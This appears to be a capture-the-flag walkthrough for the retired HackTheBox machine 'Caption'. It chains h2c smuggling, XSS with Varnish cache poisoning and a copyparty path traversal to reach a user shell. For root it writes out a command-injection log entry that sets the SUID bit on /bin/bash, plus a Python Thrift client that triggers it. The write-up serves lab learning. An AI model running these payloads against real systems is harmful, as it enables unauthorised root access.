Caption is a hard linux machine created by . We will get the margo credentials in GitBucket running in port 8080 to login into Caption Portal running in port 80. The machine uses varnish and haproxy services which is vulnerable to CVE-2021-26740 varnish h2c smuggling, XSS and varnish cache poisoning. We can chain the vulnerabilities to get the admin cookie for caption.htb domain and read the logs which is restricted to margo user. The enumeration to log reveals the use of which is vulnerable to CVE-2023-37474 path travasel and we will get the margos id_ecdsa. The root is running thein port 9090 and server.go which can be leveraged to get the shell as root by crafting malicious log file and creating script which will connect to thrift and read the log file.
OS
Difficulty
Points
Release Date
Retired Date
Linux
Hard
40
14-09-2024
25-01-2025
Enumeration
Nmap
Started the nmap scan and found the ssh and http services running.
nmap -p- -Pn -sC -sV --min-rate=1000 10.10.11.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 20:39 EST
Warning: 10.10.11.33 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.33
Host is up (6.6s latency).
Not shown: 47141 closed tcp ports (reset), 18391 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http
|_http-title: Did not follow redirect to http://caption.htb
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
| HTTP/1.1 400 Bad request
| Content-length: 90
| Cache-Control: no-cache
| Connection: close
| Content-Type: text/html
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
| </body></html>
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.1 301 Moved Permanently
| content-length: 0
| location: http://caption.htb
|_ connection: close
8080/tcp open http-proxy
|_http-title: GitBucket
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Wed, 22 Jan 2025 01:51:03 GMT
| Set-Cookie: JSESSIONID=node01re4rwzjxaips1slx525zcd2y074.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 5916
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>Error</title>
| <meta property="og:title" content="Error" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.10.11.33:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
| <meta property="og:image" content="http://10.10.11.33:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images/
| GetRequest:
| HTTP/1.1 200 OK
| Date: Wed, 22 Jan 2025 01:50:54 GMT
| Set-Cookie: JSESSIONID=node0xzxhhmrrps8t141p5ws0tcz0x72.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 8628
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>GitBucket</title>
| <meta property="og:title" content="GitBucket" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.10.11.33:8080/" />
| <meta property="og:image" content="http://10.10.11.33:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images/gitbucket.png?20250122011355" type=
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Wed, 22 Jan 2025 01:50:58 GMT
| Set-Cookie: JSESSIONID=node01ofk192uti5h5aq8klj4ri7z273.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
|_ <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=1/21%Time=67904EFD%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\ncontent-lengt
SF:h:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\x20close\r\n
SF:\r\n")%r(HTTPOptions,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\nco
SF:ntent-length:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\x
SF:20close\r\n\r\n")%r(RTSPRequest,CF,"HTTP/1\.1\x20400\x20Bad\x20request\
SF:r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Bad
SF:\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\.
SF:\n</body></html>\n")%r(X11Probe,CF,"HTTP/1\.1\x20400\x20Bad\x20request\
SF:r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Bad
SF:\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\.
SF:\n</body></html>\n")%r(FourOhFourRequest,66,"HTTP/1\.1\x20301\x20Moved\
SF:x20Permanently\r\ncontent-length:\x200\r\nlocation:\x20http://caption\.
SF:htb\r\nconnection:\x20close\r\n\r\n")%r(RPCCheck,CF,"HTTP/1\.1\x20400\x
SF:20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control:\x20no-cache
SF:\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n\r\n<html><bo
SF:dy><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent\x20an\x20inv
SF:alid\x20request\.\n</body></html>\n")%r(DNSVersionBindReqTCP,CF,"HTTP/1
SF:\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control:
SF:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n\
SF:r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent\
SF:x20an\x20invalid\x20request\.\n</body></html>\n")%r(DNSStatusRequestTCP
SF:,CF,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCac
SF:he-Control:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20tex
SF:t/html\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20brows
SF:er\x20sent\x20an\x20invalid\x20request\.\n</body></html>\n")%r(Help,CF,
SF:"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-C
SF:ontrol:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/ht
SF:ml\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x
SF:20sent\x20an\x20invalid\x20request\.\n</body></html>\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.94SVN%I=7%D=1/21%Time=67904EFD%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,19E6,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Wed,\x2022\x20Jan\
SF:x202025\x2001:50:54\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0xzxhhmrrps
SF:8t141p5ws0tcz0x72\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2
SF:001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;cha
SF:rset=utf-8\r\nContent-Length:\x208628\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=\"en\">\n\x20\x20<head>
SF:\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n\x20\x20\x20\x20<me
SF:ta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-sca
SF:le=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20\x20\x20<meta\x20http-e
SF:quiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\x20/>\n\x20\x20\x20\x20
SF:<title>GitBucket</title>\n\x20\x20\x20\x20<meta\x20property=\"og:title\
SF:"\x20content=\"GitBucket\"\x20/>\n\x20\x20\x20\x20<meta\x20property=\"o
SF:g:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<meta\x20property
SF:=\"og:url\"\x20content=\"http://10\.10\.11\.33:8080/\"\x20/>\n\x20\x20\
SF:x20\x20\n\x20\x20\x20\x20\x20\x20<meta\x20property=\"og:image\"\x20cont
SF:ent=\"http://10\.10\.11\.33:8080/assets/common/images/gitbucket_ogp\.pn
SF:g\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<link\x2
SF:0rel=\"icon\"\x20href=\"/assets/common/images/gitbucket\.png\?202501220
SF:11355\"\x20type=")%r(HTTPOptions,109,"HTTP/1\.1\x20200\x20OK\r\nDate:\x
SF:20Wed,\x2022\x20Jan\x202025\x2001:50:58\x20GMT\r\nSet-Cookie:\x20JSESSI
SF:ONID=node01ofk192uti5h5aq8klj4ri7z273\.node0;\x20Path=/;\x20HttpOnly\r\
SF:nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Ty
SF:pe:\x20text/html;charset=utf-8\r\nAllow:\x20GET,HEAD,POST,OPTIONS\r\nCo
SF:ntent-Length:\x200\r\n\r\n")%r(RTSPRequest,B8,"HTTP/1\.1\x20505\x20HTTP
SF:\x20Version\x20Not\x20Supported\r\nContent-Type:\x20text/html;charset=i
SF:so-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close\r\n\r\n<h1>B
SF:ad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Version</pre>")%r(F
SF:ourOhFourRequest,1812,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\x20Wed
SF:,\x2022\x20Jan\x202025\x2001:51:03\x20GMT\r\nSet-Cookie:\x20JSESSIONID=
SF:node01re4rwzjxaips1slx525zcd2y074\.node0;\x20Path=/;\x20HttpOnly\r\nExp
SF:ires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\
SF:x20text/html;charset=utf-8\r\nContent-Length:\x205916\r\n\r\n<!DOCTYPE\
SF:x20html>\n<html\x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=\"en\">
SF:\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n\x2
SF:0\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width
SF:,\x20initial-scale=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20\x20\x2
SF:0<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\x20/>\n
SF:\x20\x20\x20\x20<title>Error</title>\n\x20\x20\x20\x20<meta\x20property
SF:=\"og:title\"\x20content=\"Error\"\x20/>\n\x20\x20\x20\x20<meta\x20prop
SF:erty=\"og:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<meta\x20
SF:property=\"og:url\"\x20content=\"http://10\.10\.11\.33:8080/nice%20port
SF:s%2C/Tri%6Eity\.txt%2ebak\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x20\x20\x
SF:20\x20<meta\x20property=\"og:image\"\x20content=\"http://10\.10\.11\.33
SF::8080/assets/common/images/gitbucket_ogp\.png\"\x20/>\n\x20\x20\x20\x20
SF:\n\x20\x20\x20\x20\n\x20\x20\x20\x20<link\x20rel=\"icon\"\x20href=\"/as
SF:sets/common/images/");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 800.71 seconds
Add the caption.htb domain in /etc/hosts file.
http - port 80 [ caption.htb ]
The website is presented with caption portal login.
The /logs gives us the 403 forbidden and /firewall gives us page without any endpoints.
http - port 8080 [ caption.htb ]
The port 8080 is used to host the website for gitbucket service.
The gitbucket has two repository the Caption-Portal and Logservice.
Repository - Caption-Portal
The repository Caption-Portal uses the haproxy and varnish services.
HAProxy is a free and open-source software that acts as a high availability load balancer and proxy for TCP and HTTP-based applications.
Varnish is an HTTP reverse proxy used as an HTTP accelerator for content-heavy dynamic web sites and APIs. It was designed specifically as an HTTP accelerator, unlike other proxy servers that often support FTP, SMTP, and other network protocols.
Repository - Logservice
The repository Logservice uses the thrift.
Thrift provides a remote procedure call (RPC) framework and includes a code generation engine that can produce clients and servers in different languages from a single interface definition file. This allows developers to build interoperable services that can communicate seamlessly across different programming environments.
The Caption-Portal previous commits contains the margo credentials for http port 80 in haproxy.cfg.
Foothold
Varnish - h2c smuggling [ http port 80 ]
1
Testing h2c smuggling
python3 h2csmuggler.py -x http://caption.htb --test
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling
Testing the h2c smuggling gives us positive result.
2
Trying to access /logs
Using h2c smuggling for accessing /logs redirects us to the login page.
XSS with cache poisoning - Stealing Admin's cookie [ http port 80 ]
1
Intercepting the /firewall endpoint.
The /firewall endpoint in burpsuite reveals us the x-varnish header which caches the previously made request on firewall page. The source code includes the none existence JavaScript file, which includes the utm_source parameter. The utm_source has http://internal-proxy.local value, which could be used to alter the source using proxy configuration.
Adding the X-Forwarded-Host in /firewall request to see whether the utm_source value changes.
The value of utm_source changes from http://internal.proxy.local to http://10.10.16.28. The parameter is also vulnerable to XSS payloads, which we can use for getting administrator cookie in 120 seconds because of varnish cache max-age set to 120.
3
Getting Admin JWT
Intercept the /firewall request in burpsuite and add the following payload in request header.
Copy the private key in the file and change the permission to 400 using chmod.
chmod 400 id_ecdsa
ssh -i id_ecdsa margo@10.10.11.33
The authenticity of host '10.10.11.33 (10.10.11.33)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.33' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Jan 26 10:21:59 AM UTC 2025
System load: 0.0 Processes: 234
Usage of /: 68.9% of 8.76GB Users logged in: 0
Memory usage: 14% IPv4 address for eth0: 10.10.11.33
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Sep 10 12:33:42 2024 from 10.10.14.23
margo@caption:~$
Privilege Escalation
Pillaging - margo [ user ]
The service and process enumeration reveals that the root is running server.go process and 9090 port is open, which is running Logservice which we get to know from Gitbucket Logservice repository.
margo@caption:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:6081 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:6082 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3923 0.0.0.0:* LISTEN 1296/python3
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 1297/python3
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1298/java
tcp6 0 0 :::22 :::* LISTEN -
margo@caption:~$ ps aux | grep server.go
root 1282 0.0 0.0 2892 976 ? Ss Jan26 0:00 /bin/sh -c cd /root;/usr/local/go/bin/go run server.go
root 1283 0.0 0.4 1240804 17196 ? Sl Jan26 0:02 /usr/local/go/bin/go run server.go
margo 3745 0.0 0.0 6616 2244 pts/0 S+ 01:35 0:00 grep --color=auto server.go
Shell - root [ Thrift Exploitation ]
The server.go file form Gitbucket Logservice repository. The code is used to open the file and compile it and output the file. The line 43 contains the bash system commands which could be exploited.
Create the malicious log file in margo's shell /tmp folder
exp.log
"user-agent":"'$(chmod u+s /bin/bash) '"
7
Change directory into gen-py and create the malicious python script to interact with the thrift
exploit.py
#!/usr/bin/env python3
# Adapted from https://thrift.apache.org/tutorial/py.html
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
def main():
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = LogService.Client(protocol)
transport.open()
result = client.ReadLogFile("/tmp/exp.log")
transport.close()
if __name__ == "__main__":
main()
Execute the created python script.
python3 exploit.py
8
In margo's shell execute the following commands
margo@caption:/tmp$ vi exp.log
margo@caption:/tmp$ ls /bin/bash
/bin/bash
margo@caption:/tmp$ bash -p
bash-5.1# whoami
root
Proof of Concept
The below video provides the PoC of Caption machine.
Using the credentials to login found in Caption-Portal repository commit form .
The varnish cache 6.6 is vulnerable to CVE-2021-26740 h2c smuggling while upgrading to h2c. The h2c smuggling is a technique that exploits the HTTP/1.1 to HTTP/2 cleartext (h2c) upgrade mechanism to bypass security controls. For more details, you can visit to this post.
The BishopFox has created script for h2c smuggling in this github .
Downloading the http://127.0.0.1:3923 reveals that the copypart is running which we can get from this github .
The copypart is vulnerable to CVE-2023-37474 path traversal attack through /.cpr subfolder. More details about it is found .
The user.txt file contains the user flag
The root.txt file is present in /root directory which contains the root flag